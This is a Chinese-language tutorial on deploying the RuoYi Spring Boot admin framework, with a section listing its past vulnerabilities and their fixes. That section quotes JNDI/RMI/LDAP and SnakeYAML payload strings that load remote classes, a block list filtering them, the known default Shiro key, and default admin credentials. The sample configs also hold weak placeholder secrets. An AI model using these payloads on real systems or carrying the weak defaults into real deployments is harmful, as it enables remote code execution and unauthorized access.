若依-Ruo Yi(分離版)
一、了解框架
1、簡介(什么是若依)
RuoYi 是一款基於SpringBoot + Bootstrap 的快速開發框架。
-
RuoYi 官網地址:http://ruoyi.vip(opens new window)
-
RuoYi 在線文檔:http://doc.ruoyi.vip(opens new window)
-
RuoYi 源碼下載:https://gitee.com/y_project/RuoYi(opens new window)
RuoYi 是一個 Java EE 企業級快速開發平台,基於經典技術組合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),內置模塊如:部門管理、角色用戶、菜單及按鈕授權、數據權限、系統參數、日志管理、通知公告等。在線定時任務配置;支持集群,支持多數據源,支持分布式事務。
2、主要特點
- 完全響應式布局(支持電腦、平板、手機等所有主流設備)
- 強大的一鍵生成功能(包括控制器、模型、視圖、菜單等)
- 支持多數據源,簡單配置即可實現切換。
- 支持按鈕及數據權限,可自定義部門數據權限。
- 對常用js插件進行二次封裝,使js代碼變得簡潔,更加易維護
- 完善的XSS防范及腳本過濾,徹底杜絕XSS攻擊
- Maven多項目依賴,模塊及插件分項目,盡量松耦合,方便模塊升級、增減模塊。
- 國際化支持,服務端及客戶端支持
- 完善的日志記錄體系簡單注解即可實現
- 支持服務監控,數據監控,緩存監控功能。
3、所用技術
3.1、系統環境
- Java EE 8
- Servlet 3.0
- Apache Maven 3
3.2、主框架
- Spring Boot 2.2.x
- Spring Framework 5.2.x
- Apache Shiro 1.7
3.3、持久層
- Apache MyBatis 3.5.x
- Hibernate Validation 6.0.x
- Alibaba Druid 1.2.x
3.4、視圖層
- Bootstrap 3.3.7
- Thymeleaf 3.0.x
4、歷史漏洞
- 存在系統安全漏洞
RuoYi <= v4.7.1
在<= thymeleaf-spring5:3.0.12
組件中,thymeleaf
結合模板注入中的特定場景可能會導致遠程代碼執行。詳細描述參見 https://github.com/thymeleaf/thymeleaf-spring/issues/256(opens new window)
添加代碼到pom.xml
依賴升級處理,防止遠程代碼執行漏洞。
<thymeleaf.version>3.0.14.RELEASE</thymeleaf.version>
<!-- thymeleaf模板引擎和spring框架的整合 -->
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId>
<version>${thymeleaf.version}</version>
</dependency>
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf</artifactId>
<version>${thymeleaf.version}</version>
</dependency>
在<= log4j2:2.17.0
組件中,log4j2
存在遠程代碼執行和不受控制的遞歸漏洞。詳細描述參見 https://gitee.com/y_project/RuoYi/issues/I4LW93(opens new window)
添加代碼到pom.xml
依賴升級處理,防止遠程代碼執行和不受控制的遞歸漏洞。
<log4j2.version>2.17.1</log4j2.version>
<!-- log4j日志組件 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4j2.version}</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-to-slf4j</artifactId>
<version>${log4j2.version}</version>
</dependency>
在用戶管理頁面,導入用戶xlsx
數據內容存在被XSS
注入的風險,需要在提交時進行數據內容校驗。完整代碼提交。自定義xss校驗注解實現,防止用戶導入Xss風險漏洞(opens new window)
找到SysUser.java
類,然后實體類新增@Xss
注解進行校驗(關鍵代碼)
@Xss(message = "登錄賬號不能包含腳本字符")
public String getLoginName()
{
return loginName;
}
@Xss(message = "用戶昵稱不能包含腳本字符")
public String getUserName()
{
return userName;
}
找到SysUserServiceImpl.java
類,然后修改導入用戶數據方法,增加實體類校驗(關鍵代碼)
@Autowired
protected Validator validator;
if (StringUtils.isNull(u))
{
BeanValidators.validateWithException(validator, user);
......................................................
}
else if (isUpdateSupport)
{
BeanValidators.validateWithException(validator, user);
......................................................
}
在代碼生成頁面,創建表功能存在SQL
注入漏洞風險(這個功能只有admin用戶才能操作),可以在創建表時填入一些SQL注入代碼,需要在創建前進行語法校驗。完整代碼提交。代碼生成創建表檢查關鍵字,防止注入風險(opens new window)
找到GenController.java
類,然后修改創建表方法。增加SQL
關鍵字校驗(關鍵代碼)
public AjaxResult create(String sql)
{
try
{
SqlUtil.filterKeyword(sql);
...........................
return AjaxResult.success();
}
catch (Exception e)
{
logger.error(e.getMessage(), e);
return AjaxResult.error("創建表結構異常[" + e.getMessage() + "]");
}
}
解決方案:上述漏洞可以升級RuoYi
版本到4.7.2
,或按示例進行操作,防止出現系統安全漏洞。
- 存在遠程執行漏洞
RuoYi <= v4.6.2
漏洞詳細:
定時任務存在反序列化漏洞利用點,可以通過發送rmi
、http
、ldap
請求,完成命令執行攻擊。
如目標字符串具體內容rmi
:org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
如目標字符串具體內容ldap(s)
:javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')
如目標字符串具體內容http(s)
:org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/poc/yaml-payload.jar"]]]]')
新增/修改定時任務SysJobController.java
示例代碼(屏蔽rmi
、ldap
、http(s)
目標字符串)
else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_RMI))
{
return error("新增任務'" + job.getJobName() + "'失敗,目標字符串不允許'rmi'調用");
}
else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.LOOKUP_LDAP, Constants.LOOKUP_LDAPS }))
{
return error("新增任務'" + job.getJobName() + "'失敗,目標字符串不允許'ldap(s)'調用");
}
else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.HTTP, Constants.HTTPS }))
{
return error("新增任務'" + job.getJobName() + "'失敗,目標字符串不允許'http(s)'調用");
}
else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR))
{
return error("新增任務'" + job.getJobName() + "'失敗,目標字符串存在違規");
}
else if (!ScheduleUtils.whiteList(job.getInvokeTarget()))
{
return error("新增任務'" + job.getJobName() + "'失敗,目標字符串不在白名單內");
}
解決方案:升級RuoYi
版本到 > 4.6.2
,或者添加示例代碼處理,防止注入漏洞。
- 存在SQL注入漏洞
RuoYi <= v4.6.1
Mybatis
配置中使用了$
所以會存在sql
注入漏洞。
漏洞詳細:
1、SysDeptMapper.xml
中的updateParentDeptStatus
節點使用了${ancestors}
,修改相關邏輯。轉成數組方式修改部門狀態。
/**
* 修改該部門的父級部門狀態
*
* @param dept 當前部門
*/
private void updateParentDeptStatusNormal(Dept dept)
{
String ancestors = dept.getAncestors();
Long[] deptIds = Convert.toLongArray(ancestors);
deptMapper.updateDeptStatusNormal(deptIds);
}
2、數據權限相關使用了${params.dataScope}
,DataScopeAspect.java
數據過濾處理時添加clearDataScope
拼接權限sql
前先清空params.dataScope
參數防止注入。
public class DataScopeAspect
{
......
@Before("dataScopePointCut()")
public void doBefore(JoinPoint point) throws Throwable
{
clearDataScope(point);
handleDataScope(point);
}
private void clearDataScope(final JoinPoint joinPoint)
{
Object params = joinPoint.getArgs()[0];
if (StringUtils.isNotNull(params) && params instanceof BaseEntity)
{
BaseEntity baseEntity = (BaseEntity) params;
baseEntity.getParams().put(DATA_SCOPE, "");
}
}
......
}
解決方案:升級RuoYi
版本到 >=4.6.2
,或者添加示例代碼處理,防止注入漏洞。
- 任意文件下載漏洞
RuoYi <= v4.5.0
任意文件下載漏洞,正常的利用手段是下載服務器文件,如腳本代碼,服務器配置或者是系統配置等等。可以利用../
來逐層猜測路徑。
網站由於業務需求,往往需要提供文件查看或文件下載功能,但若對用戶查看或下載的文件不做限制,則惡意用戶就能夠查看或下載任意敏感文件,這就是文件查看與下載漏洞。
檢測漏洞:CommonController.java
,/common/download/resource
接口是否包含checkAllowDownload
用於檢查文件是否可下載,如果沒有此方法則需要修改,防止被下載關鍵信息。
解決方案:升級RuoYi
版本到 >=4.5.1
,或者重新添加文件下載檢查,防止任意文件下載。
/**
* 本地資源通用下載
*/
@GetMapping("/common/download/resource")
public void resourceDownload(String resource, HttpServletRequest request, HttpServletResponse response)
throws Exception
{
try
{
if (!FileUtils.checkAllowDownload(resource))
{
throw new Exception(StringUtils.format("資源文件({})非法,不允許下載。 ", resource));
}
// 本地資源路徑
String localPath = Global.getProfile();
// 數據庫資源地址
String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);
// 下載名稱
String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);
FileUtils.setAttachmentResponseHeader(response, downloadName);
FileUtils.writeBytes(downloadPath, response.getOutputStream());
}
catch (Exception e)
{
log.error("下載文件失敗", e);
}
}
/**
* 檢查文件是否可下載
*
* @param resource 需要下載的文件
* @return true 正常 false 非法
*/
public static boolean checkAllowDownload(String resource)
{
// 禁止目錄上跳級別
if (StringUtils.contains(resource, ".."))
{
return false;
}
// 檢查允許下載的文件規則
if (ArrayUtils.contains(MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION, FileTypeUtils.getFileType(resource)))
{
return true;
}
// 不在允許下載的文件規則
return false;
}
- Spring Framework反射型文件下載漏洞
RuoYi < v4.5.0
VMware Tanzu發布安全公告,在Spring Framework版本5.2.0-5.2.8、5.1.0-5.1.17、5.0.0-5.0.18、4.3.0-4.3.28和較舊的不受支持的版本中,公布了一個存在於Spring Framework中的反射型文件下載(Reflected File Download,RFD)漏洞(CVE-2020-5421)。
CVE-2020-5421漏洞可通過jsessionid路徑參數,繞過防御RFD攻擊的保護。攻擊者通過向用戶發送帶有批處理腳本擴展名的URL,使用戶下載並執行文件,從而危害系統。VMware Tanzu官方已發布修復漏洞的新版本。
解決方案:升級spring-boot-starter
版本到 >=2.1.17
。
- Shiro阻止權限繞過漏洞
RuoYi < v4.4.0
Shiro < 1.6.0 版本存在一處權限繞過漏洞,由於 shiro
在處理 url
時與 spring
存在差異,處理身份驗證請求時出錯導致依然存在身份校驗繞過漏洞,遠程攻擊者可以發送特制的 HTTP 請求,繞過身份驗證過程並獲得對應用程序的未授權訪問。
檢測漏洞:pom.xml
Shiro < 1.6.0
則版本存在漏洞。
解決方案:升級版本到 >=1.6.0
。
- 命令執行漏洞
RuoYi <= v4.3.0
若依管理系統使用了Apache Shiro,Shiro 提供了記住我(RememberMe)的功能,下次訪問時無需再登錄即可訪問。系統將密鑰硬編碼在代碼里,且在官方文檔中並沒有強調修改該密鑰,導致框架使用者大多數都使用了默認密鑰。攻擊者可以構造一個惡意的對象,並且對其序列化、AES加密、base64編碼后,作為cookie的rememberMe字段發送。Shiro將rememberMe進行解密並且反序列化,最終造成反序列化漏洞,進而在目標機器上執行任意命令。
檢測漏洞:ShiroConfig.java
是否包含 fCq+/xW488hMTCD+cmJ3aQ==
,如果是使用的默認密鑰則需要修改,防止被執行命令攻擊。
解決方案:升級版本到 >=v.4.3.1
,並且重新生成一個新的秘鑰替換cipherKey
,保證唯一且不要泄漏。
# Shiro
shiro:
cookie:
# 設置密鑰,務必保持唯一性(生成方式,直接拷貝到main運行即可)KeyGenerator keygen = KeyGenerator.getInstance("AES"); SecretKey deskey = keygen.generateKey(); System.out.println(Base64.encodeToString(deskey.getEncoded()));
cipherKey: zSyK5Kp6PZAAjlT+eeNMlg==
// 直接拷貝到main運行即可生成一個Base64唯一字符串
KeyGenerator keygen = KeyGenerator.getInstance("AES");
SecretKey deskey = keygen.generateKey();
System.out.println(Base64.encodeToString(deskey.getEncoded()));
- SQL注入攻擊
RuoYi <= v3.2.0
若依管理系統使用了PageHelper,PageHelper提供了排序(Order by)的功能,前端直接傳參完成排序。系統沒有做字符檢查,導致存在被注入的風險,最終造成數據庫中存儲的隱私信息全部泄漏。
檢測漏洞:BaseController.java
是否包含 String orderBy = pageDomain.getOrderBy();
,如果沒有字符檢查需要修改,防止被執行注入攻擊。
解決方案:升級版本到 >=v.3.2.0
,或者重新添加字符檢查String orderBy = SqlUtil.escapeOrderBySql(pageDomain.getOrderBy());
,防止注入繞過。
package com.ruoyi.common.utils.sql;
import com.ruoyi.common.exception.base.BaseException;
import com.ruoyi.common.utils.StringUtils;
/**
* sql操作工具類
*
* @author ruoyi
*/
public class SqlUtil
{
/**
* 僅支持字母、數字、下划線、空格、逗號、小數點(支持多個字段排序)
*/
public static String SQL_PATTERN = "[a-zA-Z0-9_\\ \\,\\.]+";
/**
* 檢查字符,防止注入繞過
*/
public static String escapeOrderBySql(String value)
{
if (StringUtils.isNotEmpty(value) && !isValidOrderBySql(value))
{
throw new BaseException("參數不符合規范,不能進行查詢");
}
return value;
}
/**
* 驗證 order by 語法是否符合規范
*/
public static boolean isValidOrderBySql(String value)
{
return value.matches(SQL_PATTERN);
}
}
- Shiro阻止權限繞過漏洞
RuoYi <= v4.3.0
Shiro < 1.5.2 版本存在一處權限繞過漏洞,當受影響版本的Shiro框架結合Spring dynamic controllers使用時,未經授權的遠程攻擊者可以通過精心構造的請求包進行權限繞過,可能造成鑒權系統失效以及后台功能暴露。
檢測漏洞:pom.xml
Shiro <=1.5.2
則版本存在漏洞。
解決方案:升級版本到 >=1.5.3
。
- Fastjson高危漏洞
RuoYi <= v4.2.0
Fastjson < 1.2.68 版本存在一處反序列化漏洞,主要為autoType開關繞過的反序列化漏洞利用,惡意攻擊者可以通過該漏洞繞過autoType限制實現遠程代碼執行攻擊,從而獲取目標系統管理權限,建議盡快更新漏洞修復版本或采用臨時緩解措施加固系統。
檢測漏洞:pom.xml
Fastjson <=1.2.68
則版本存在漏洞。
解決方案:升級版本到 >=1.2.70
。
注意
若依平台的默認口令 admin/admin123,請大家在線上環境一定要修改超級管理員的密碼。
SysPasswordService.encryptPassword(String username, String password, String salt)
直接到main運行此方法,填充賬號密碼及鹽(保證唯一),生成md5加密字符串。
二、環境部署
1、准備工作
JDK >= 1.8(推薦使用1.8版本)
Mysql >= 5.7.0 (建議使用5.7.0)
redis >= 3.0(6.0.8)
Maven >= 3.0(3.6.3)
node.js >=12
idea
小提示:
前端安裝 完node后,最好設置一下淘寶的鏡像源,不建議使用cnpm進行安裝(可能會出現許多奇奇怪怪的問題);
2、后端運行
2.1、先去gitee下載運行代碼:https://gitee.com/y_project/RuoYi-Vue
2.2、解壓下載的 文件,把文件中文件名為 ruoyi-ui(這個文件是前端文件夾) 的文件單獨剪切出來,然后用 idea 打開剩下的文件idea 會自動加載Maven依賴包,
2.3、創建數據庫ry
並導入數據腳本ry_2021xxxx.sql
,quartz.sql
(腳本在sql文件夾中)
2.4、修改yml文件 application9-druid.yml 鏈接數據庫庫名,用戶名和密碼;
注:修改的配置文件夾在ruoyi-admin模塊中
3、配置文件(這里是我自己的配置文件)
3.1、通用配置 application.yml
# 項目相關配置
ruoyi:
# 名稱
name: RuoYi
# 版本
version: 3.8.1
# 版權年份
copyrightYear: 2022
# 實例演示開關
demoEnabled: true
# 文件路徑 示例( Windows配置D:/ruoyi/uploadPath,Linux配置 /home/ruoyi/uploadPath)
profile: D:/ruoyi/uploadPath
# 獲取ip地址開關
addressEnabled: false
# 驗證碼類型 math 數組計算 char 字符驗證
captchaType: math
# 開發環境配置
server:
# 服務器的HTTP端口,默認為8080
port: 8080
servlet:
# 應用的訪問路徑
context-path: /
tomcat:
# tomcat的URI編碼
uri-encoding: UTF-8
# 連接數滿后的排隊數,默認為100
accept-count: 1000
threads:
# tomcat最大線程數,默認為200
max: 800
# Tomcat啟動初始化的線程數,默認值10
min-spare: 100
# 日志配置
logging:
level:
com.ruoyi: debug
org.springframework: warn
# Spring配置
spring:
# 資源信息
messages:
# 國際化資源文件路徑
basename: i18n/messages
profiles:
active: druid
# 文件上傳
servlet:
multipart:
# 單個文件大小
max-file-size: 10MB
# 設置總上傳的文件大小
max-request-size: 20MB
# 服務模塊
devtools:
restart:
# 熱部署開關
enabled: true
# redis 配置
redis:
# 地址
host: localhost
# 端口,默認為6379
port: 6379
# 數據庫索引
database: 0
# 密碼
password:
# 連接超時時間
timeout: 10s
lettuce:
pool:
# 連接池中的最小空閑連接
min-idle: 0
# 連接池中的最大空閑連接
max-idle: 8
# 連接池的最大數據庫連接數
max-active: 8
# #連接池最大阻塞等待時間(使用負值表示沒有限制)
max-wait: -1ms
# token配置
token:
# 令牌自定義標識
header: Authorization
# 令牌密鑰
secret: abcdefghijklmnopqrstuvwxyz
# 令牌有效期(默認30分鍾)
expireTime: 30
# MyBatis配置
mybatis:
# 搜索指定包別名
typeAliasesPackage: com.ruoyi.**.domain
# 配置mapper的掃描,找到所有的mapper.xml映射文件
mapperLocations: classpath*:mapper/**/*Mapper.xml
# 加載全局的配置文件
configLocation: classpath:mybatis/mybatis-config.xml
# PageHelper分頁插件
pagehelper:
helperDialect: mysql
supportMethodsArguments: true
params: count=countSql
# Swagger配置
swagger:
# 是否開啟swagger
enabled: true
# 請求前綴
pathMapping: /dev-api
# 防止XSS攻擊
xss:
# 過濾開關
enabled: true
# 排除鏈接(多個用逗號分隔)
excludes: /system/notice
# 匹配鏈接
urlPatterns: /system/*,/monitor/*,/tool/*
3.2、數據源配置 application-druid.yml
# 數據源配置
spring:
datasource:
type: com.alibaba.druid.pool.DruidDataSource
driverClassName: com.mysql.cj.jdbc.Driver
druid:
# 主庫數據源
master:
url: jdbc:mysql://localhost:3306/ry?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8
username: root
password: 123456
# 從庫數據源
slave:
# 從數據源開關/默認關閉
enabled: false
url:
username:
password:
# 初始連接數
initialSize: 5
# 最小連接池數量
minIdle: 10
# 最大連接池數量
maxActive: 20
# 配置獲取連接等待超時的時間
maxWait: 60000
# 配置間隔多久才進行一次檢測,檢測需要關閉的空閑連接,單位是毫秒
timeBetweenEvictionRunsMillis: 60000
# 配置一個連接在池中最小生存的時間,單位是毫秒
minEvictableIdleTimeMillis: 300000
# 配置一個連接在池中最大生存的時間,單位是毫秒
maxEvictableIdleTimeMillis: 900000
# 配置檢測連接是否有效
validationQuery: SELECT 1 FROM DUAL
testWhileIdle: true
testOnBorrow: false
testOnReturn: false
webStatFilter:
enabled: true
statViewServlet:
enabled: true
# 設置白名單,不填則允許所有訪問
allow:
url-pattern: /druid/*
# 控制台管理用戶名和密碼
login-username: ruoyi
login-password: 123456
filter:
stat:
enabled: true
# 慢SQL記錄
log-slow-sql: true
slow-sql-millis: 1000
merge-sql: true
wall:
config:
multi-statement-allow: true
2.5、啟動 redis(redis-server.exe)
2.6、打開項目運行com.ruoyi.RuoYiApplication.java
,出現如下圖表示啟動成功。
(♥◠‿◠)ノ゙ 若依啟動成功 ლ(´ڡ`ლ)゙
.-------. ____ __
| _ _ \ \ \ / /
| ( ' ) | \ _. / '
|(_ o _) / _( )_ .'
| (_,_).' __ ___(_ o _)'
| |\ \ | || |(_,_)'
| | \ `' /| `-' /
| | \ / \ /
''-' `'-' `-..-'
小提示:
后端運行成功可以通過([http://localhost:8080 (opens new window)](http://localhost:8080/))訪問,但是不會出現靜態頁面,可以繼續參考下面步驟部署`ruoyi-ui`前端,然后通過前端地址來訪問。
4、前端運行
# 進入項目目錄
cd ruoyi-ui
# 安裝依賴
npm install
# 強烈建議不要用直接使用 cnpm 安裝,會有各種詭異的 bug,可以通過重新指定 registry 來解決 npm 安裝速度慢的問題。
npm install --registry=https://registry.npm.taobao.org
# 本地開發 啟動項目
npm run dev
4、打開瀏覽器,輸入:(http://localhost:80 (opens new window)) 默認賬戶/密碼 admin/admin123
)
若能正確展示登錄頁面,並能成功登錄,菜單及頁面展示正常,則表明環境搭建成功
建議使用Git
克隆,因為克隆的方式可以和RuoYi
隨時保持更新同步。使用Git
命令克隆
git clone https://gitee.com/y_project/RuoYi-Vue.git
小提示:
因為本項目是前后端完全分離的,所以需要前后端都單獨啟動好,才能進行訪問。
前端安裝完node后,最好設置下淘寶的鏡像源,不建議使用cnpm(可能會出現奇怪的問題)
三、部署系統
小提示:
因為本項目是前后端完全分離的,所以需要前后端都單獨部署好,才能進行訪問。
.1、后端部署
- 打包工程文件
在`ruoyi`項目的`bin`目錄下執行`package.bat`打包Web工程,生成war/jar包文件。
然后會在項目下生成`target`文件夾包含`war`或`jar`
小提示:
多模塊版本會生成在`ruoyi/ruoyi-admin`模塊下`target`文件夾
- 部署工程文件
1、jar部署方式
使用命令行執行:`java –jar ruoyi.jar` 或者執行腳本:`ruoyi/bin/run.bat`
2、war部署方式
`ruoyi/pom.xml`中的`packaging`修改為`war`,放入`tomcat`服務器`webapps`
<packaging>war</packaging>
小提示:
多模塊版本在ruoyi/ruoyi-admin
模塊下修改pom.xml
SpringBoot
去除內嵌Tomcat
(PS:此步驟不重要,因為不排除也能在容器中部署war
)
<!-- 多模塊排除內置tomcat -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
</exclusion>
</exclusions>
</dependency>
<!-- 單應用排除內置tomcat -->
<exclusions>
<exclusion>
<artifactId>spring-boot-starter-tomcat</artifactId>
<groupId>org.springframework.boot</groupId>
</exclusion>
</exclusions>
.2、前端部署
當項目開發完畢,只需要運行一行命令就可以打包你的應用
# 打包正式環境
npm run build:prod
# 打包預發布環境
npm run build:stage
構建打包成功之后,會在根目錄生成 dist
文件夾,里面就是構建打包好的文件,通常是 ***.js
、***.css
、index.html
等靜態文件。
通常情況下 dist
文件夾的靜態文件發布到你的 nginx 或者靜態服務器即可,其中的 index.html
是后台服務的入口頁面。
outputDir 提示
如果需要自定義構建,比如指定 dist
目錄等,則需要通過 config (opens new window)的 outputDir
進行配置。
publicPath 提示
部署時改變頁面js 和 css 靜態引入路徑 ,只需修改 vue.config.js
文件資源路徑即可。
publicPath: './' //請根據自己路徑來配置更改
export default new Router({
mode: 'hash', // hash模式
})
四、環境變量
所有測試環境或者正式環境變量的配置都在 .env.development (opens new window)等 .env.xxxx
文件中。
它們都會通過 webpack.DefinePlugin
插件注入到全局。
環境變量必須以VUE_APP_
為開頭。如:VUE_APP_API
、VUE_APP_TITLE
你在代碼中可以通過如下方式獲取:
console.log(process.env.VUE_APP_xxxx)
擴展閱讀:《Vue CLI - 環境變量和模式》
.1、Tomcat配置
修改server.xml
,Host
節點下添加
<Context docBase="" path="/" reloadable="true" source=""/>
dist
目錄的文件夾下新建WEB-INF
文件夾,並在里面添加web.xml
文件
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1" metadata-complete="true">
<display-name>Router for Tomcat</display-name>
<error-page>
<error-code>404</error-code>
<location>/index.html</location>
</error-page>
</web-app>
.2、Nginx配置
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
charset utf-8;
location / {
root /home/ruoyi/projects/ruoyi-ui;
try_files $uri $uri/ /index.html;
index index.html index.htm;
}
location /prod-api/ {
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header REMOTE-HOST $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://localhost:8080/;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
建議開啟Gzip壓縮
在http
配置中加入如下代碼對全局的資源進行壓縮,可以減少文件體積和加快網頁訪問速度。
# 開啟gzip壓縮
gzip on;
# 不壓縮臨界值,大於1K的才壓縮,一般不用改
gzip_min_length 1k;
# 壓縮緩沖區
gzip_buffers 16 64K;
# 壓縮版本(默認1.1,前端如果是squid2.5請使用1.0)
gzip_http_version 1.1;
# 壓縮級別,1-10,數字越大壓縮的越好,時間也越長
gzip_comp_level 5;
# 進行壓縮的文件類型
gzip_types text/plain application/x-javascript text/css application/xml application/javascript;
# 跟Squid等緩存服務有關,on的話會在Header里增加"Vary: Accept-Encoding"
gzip_vary on;
# IE6對Gzip不怎么友好,不給它Gzip了
gzip_disable "MSIE [1-6]\.";
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
同時建議開啟解壓縮靜態文件 如何使用Gzip解壓縮靜態文件
.3、常見問題
- 如果使用
Mac
需要修改application.yml
文件路徑profile
- 如果使用
Linux
提示表不存在,設置大小寫敏感配置在/etc/my.cnf
添加lower_case_table_names=1
,重啟MYSQL服務 - 如果提示當前權限不足,無法寫入文件請檢查
application.yml
中的profile
路徑或logback.xml
中的log.path
路徑是否有可讀可寫操作權限
如遇到無法解決的問題請到Issues (opens new window)反饋,會不定時進行解答。
五、項目介紹
后端結構
com.ruoyi
├── common // 工具類
│ └── annotation // 自定義注解
│ └── config // 全局配置
│ └── constant // 通用常量
│ └── core // 核心控制
│ └── enums // 通用枚舉
│ └── exception // 通用異常
│ └── filter // 過濾器處理
│ └── utils // 通用類處理
├── framework // 框架核心
│ └── aspectj // 注解實現
│ └── config // 系統配置
│ └── datasource // 數據權限
│ └── interceptor // 攔截器
│ └── manager // 異步處理
│ └── security // 權限控制
│ └── web // 前端控制
├── ruoyi-generator // 代碼生成(可移除)
├── ruoyi-quartz // 定時任務(可移除)
├── ruoyi-system // 系統代碼
├── ruoyi-admin // 后台服務
├── ruoyi-xxxxxx // 其他模塊
前端結構
├── build // 構建相關
├── bin // 執行腳本
├── public // 公共文件
│ ├── favicon.ico // favicon圖標
│ └── index.html // html模板
│ └── robots.txt // 反爬蟲
├── src // 源代碼
│ ├── api // 所有請求
│ ├── assets // 主題 字體等靜態資源
│ ├── components // 全局公用組件
│ ├── directive // 全局指令
│ ├── layout // 布局
│ ├── router // 路由
│ ├── store // 全局 store管理
│ ├── utils // 全局公用方法
│ ├── views // view
│ ├── App.vue // 入口頁面
│ ├── main.js // 入口 加載組件 初始化等
│ ├── permission.js // 權限管理
│ └── settings.js // 系統配置
├── .editorconfig // 編碼格式
├── .env.development // 開發環境配置
├── .env.production // 生產環境配置
├── .env.staging // 測試環境配置
├── .eslintignore // 忽略語法檢查
├── .eslintrc.js // eslint 配置項
├── .gitignore // git 忽略項
├── babel.config.js // babel.config.js
├── package.json // package.json
└── vue.config.js // vue.config.js
配置文件
通用配置 application.yml
# 項目相關配置
ruoyi:
# 名稱
name: RuoYi
# 版本
version: 3.3.0
# 版權年份
copyrightYear: 2021
# 實例演示開關
demoEnabled: true
# 文件路徑 示例( Windows配置D:/ruoyi/uploadPath,Linux配置 /home/ruoyi/uploadPath)
profile: D:/ruoyi/uploadPath
# 獲取ip地址開關
addressEnabled: false
# 驗證碼類型 math 數組計算 char 字符驗證
captchaType: math
# 開發環境配置
server:
# 服務器的HTTP端口,默認為8080
port: 8080
servlet:
# 應用的訪問路徑
context-path: /
tomcat:
# tomcat的URI編碼
uri-encoding: UTF-8
# tomcat最大線程數,默認為200
max-threads: 800
# Tomcat啟動初始化的線程數,默認值25
min-spare-threads: 30
# 日志配置
logging:
level:
com.ruoyi: debug
org.springframework: warn
# Spring配置
spring:
# 資源信息
messages:
# 國際化資源文件路徑
basename: i18n/messages
profiles:
active: druid
# 文件上傳
servlet:
multipart:
# 單個文件大小
max-file-size: 10MB
# 設置總上傳的文件大小
max-request-size: 20MB
# 服務模塊
devtools:
restart:
# 熱部署開關
enabled: true
# redis 配置
redis:
# 地址
host: localhost
# 端口,默認為6379
port: 6379
# 數據庫索引
database: 0
# 密碼
password:
# 連接超時時間
timeout: 10s
lettuce:
pool:
# 連接池中的最小空閑連接
min-idle: 0
# 連接池中的最大空閑連接
max-idle: 8
# 連接池的最大數據庫連接數
max-active: 8
# #連接池最大阻塞等待時間(使用負值表示沒有限制)
max-wait: -1ms
# token配置
token:
# 令牌自定義標識
header: Authorization
# 令牌密鑰
secret: abcdefghijklmnopqrstuvwxyz
# 令牌有效期(默認30分鍾)
expireTime: 30
# MyBatis配置
mybatis:
# 搜索指定包別名
typeAliasesPackage: com.ruoyi.**.domain
# 配置mapper的掃描,找到所有的mapper.xml映射文件
mapperLocations: classpath*:mapper/**/*Mapper.xml
# 加載全局的配置文件
configLocation: classpath:mybatis/mybatis-config.xml
# PageHelper分頁插件
pagehelper:
helperDialect: mysql
reasonable: true
supportMethodsArguments: true
params: count=countSql
# Swagger配置
swagger:
# 是否開啟swagger
enabled: true
# 請求前綴
pathMapping: /dev-api
# 防止XSS攻擊
xss:
# 過濾開關
enabled: true
# 排除鏈接(多個用逗號分隔)
excludes: /system/notice/*
# 匹配鏈接
urlPatterns: /system/*,/monitor/*,/tool/*
數據源配置 application-druid.yml
# 數據源配置
spring:
datasource:
type: com.alibaba.druid.pool.DruidDataSource
driverClassName: com.mysql.cj.jdbc.Driver
druid:
# 主庫數據源
master:
url: jdbc:mysql://localhost:3306/ry-vue?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8
username: root
password: password
# 從庫數據源
slave:
# 從數據源開關/默認關閉
enabled: false
url:
username:
password:
# 初始連接數
initialSize: 5
# 最小連接池數量
minIdle: 10
# 最大連接池數量
maxActive: 20
# 配置獲取連接等待超時的時間
maxWait: 60000
# 配置間隔多久才進行一次檢測,檢測需要關閉的空閑連接,單位是毫秒
timeBetweenEvictionRunsMillis: 60000
# 配置一個連接在池中最小生存的時間,單位是毫秒
minEvictableIdleTimeMillis: 300000
# 配置一個連接在池中最大生存的時間,單位是毫秒
maxEvictableIdleTimeMillis: 900000
# 配置檢測連接是否有效
validationQuery: SELECT 1 FROM DUAL
testWhileIdle: true
testOnBorrow: false
testOnReturn: false
webStatFilter:
enabled: true
